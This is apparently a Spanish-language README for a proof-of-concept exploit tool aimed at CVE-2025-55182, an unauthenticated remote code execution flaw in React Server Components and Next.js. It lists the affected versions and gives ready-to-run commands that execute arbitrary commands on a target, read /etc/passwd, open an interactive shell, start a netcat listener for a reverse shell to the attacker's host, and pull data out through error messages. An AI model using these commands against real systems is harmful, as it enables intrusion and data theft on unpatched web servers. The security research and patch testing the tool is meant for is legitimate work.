
CVE-2025-55182 React2Shell PoC - RCE crítica en React Server Components / Next.js. CVSS 10.0. Exfiltración basada en errores, shell inversa, modo interactivo.
Prueba de concepto para CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código no autenticada en React Server Components.
Puntuación CVSS: 10.0 (Crítica)
La vulnerabilidad se encuentra en el deserializador del protocolo Flight de React. Al explotar la contaminación de prototipos mediante payloads especialmente diseñados, un atacante puede lograr la ejecución arbitraria de código en aplicaciones Next.js vulnerables.
| Producto | Vulnerable | Parcheado |
|---|
| React | 19.0.0 - 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js | 14.3.0-canary.77 - 16.x | 15.0.5, 15.1.9, 15.2.6, 16.0.7+ |
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests
La salida se devuelve directamente en la respuesta HTTP a través del error NEXT_REDIRECT - no se necesita servidor de callback.
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"
python3 react2shell-poc.py -t http://TARGET:3000 -i
python3 react2shell-poc.py -t http://TARGET:3000 --check
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind
# Iniciar listener
nc -lvnp 4444
# Enviar payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP
-t, --target URL de destino (requerido)
-c, --command Comando a ejecutar (salida mediante exfiltración basada en errores por defecto)
--check Verificar si el objetivo es vulnerable
--blind Modo RCE ciego (sin captura de salida)
--listen Usar servidor de callback en lugar de exfiltración basada en errores
-i, --interactive Modo pseudo-shell interactivo
--revshell Intentar shell inversa
--lhost IP del atacante para callbacks/shell inversa
--lport Puerto de callback (predeterminado: 9999)
--callback URL de callback manual
--timeout Tiempo de espera de solicitud en segundos (predeterminado: 30)
El método de exfiltración predeterminado utiliza inyección de error NEXT_REDIRECT:
NEXT_REDIRECT con la salida en el campo digestEsto es más fiable que la exfiltración basada en callback porque no requiere acceso de red saliente desde el objetivo.
Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Siempre obtenga la autorización adecuada antes de realizar pruebas.
p3ta